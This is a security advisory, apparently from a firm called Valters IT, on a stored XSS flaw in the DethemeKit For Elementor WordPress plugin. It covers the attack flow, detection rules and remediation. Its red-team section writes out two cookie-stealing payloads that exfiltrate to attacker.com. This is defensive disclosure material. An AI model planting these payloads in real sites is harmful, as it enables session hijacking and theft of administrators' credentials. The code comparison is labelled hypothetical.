CVE-2025-26772

Executive Summary

CVE-2025-26772 is a Stored Cross-Site Scripting (XSS) vulnerability in the DethemeKit For Elementor WordPress plugin, affecting versions up to and including 2.1.8. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor’s patch status is unknown.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who install or update the plugin through the WordPress dashboard or via manual upload are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems, but the WordPress plugin ecosystem itself acts as a supply chain vector. Compromised plugin updates or installations could lead to widespread site compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must view the compromised page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a WordPress environment with multiple contributors, the likelihood of exploitation increases.

Deep Dive & Mechanics

The vulnerability exists in the dethemekit-for-elementor plugin, specifically in how it handles user input for Elementor widgets. The plugin fails to sanitize or escape user-supplied data before storing it in the WordPress database. When the stored data is later rendered in a page or post, it is output without proper encoding, allowing arbitrary HTML and JavaScript to execute.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page using a vulnerable Elementor widget provided by DethemeKit.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a field that is not sanitized.
3. The payload is stored in the WordPress database.
4. When an administrator or other user views the compromised page, the script executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect users to malicious sites.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress escaping functions such as esc_html(), wp_kses(), or esc_attr().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (hypothetical):

// In a widget render method
echo $instance['title']; // Direct output without sanitization

Patched Code (hypothetical):

// In a widget render method
echo esc_html( $instance['title'] ); // Properly escaped output

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with DethemeKit For Elementor <= 2.1.8 installed and activated.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add a vulnerable Elementor widget (e.g., a heading or text widget) from DethemeKit.
4. In the widget’s title or content field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Publish or save the post.
6. Send the post URL to an administrator or wait for them to visit it.
7. The victim’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (for session hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual post content containing <script> tags or event handlers.
• Review user activity logs for posts created by low-privilege users containing suspicious HTML.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Mitigation:

• Disable the DethemeKit For Elementor plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict user role permissions; limit contributor access to trusted users only.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of malicious scripts in WordPress posts/pages (check wp_posts table).
  • Modified plugin files (e.g., dethemekit-for-elementor/*.php) containing unsanitized output functions.

• Network Indicators:

  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal.php?cookie=...).
  • Unusual referrer headers from WordPress admin pages.

• Log Indicators:

  • WordPress debug log entries showing PHP warnings related to echo or print of user input.
  • Web server access logs showing requests to pages with injected scripts.

Detection Engineering

YARA Rule

rule DethemeKit_Stored_XSS_CVE_2025_26772 {
    meta:
        description = "Detects stored XSS payloads in DethemeKit For Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26772"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        any of them
}

Sigma Rule

title: DethemeKit For Elementor Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts in WordPress posts using DethemeKit plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26772 DethemeKit Stored XSS Attempt"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review all posts and pages created by low-privilege users for malicious content.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Mitigation:

• Apply input validation and output escaping to all user-supplied data in custom code.
• Use WordPress built-in functions like esc_html(), esc_attr(), and wp_kses().
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update plugins and monitor vendor channels for patches.

Patch Status: As of this report, no official patch is available. Users should monitor the Detheme plugin page on WordPress.org for updates.

Valters IT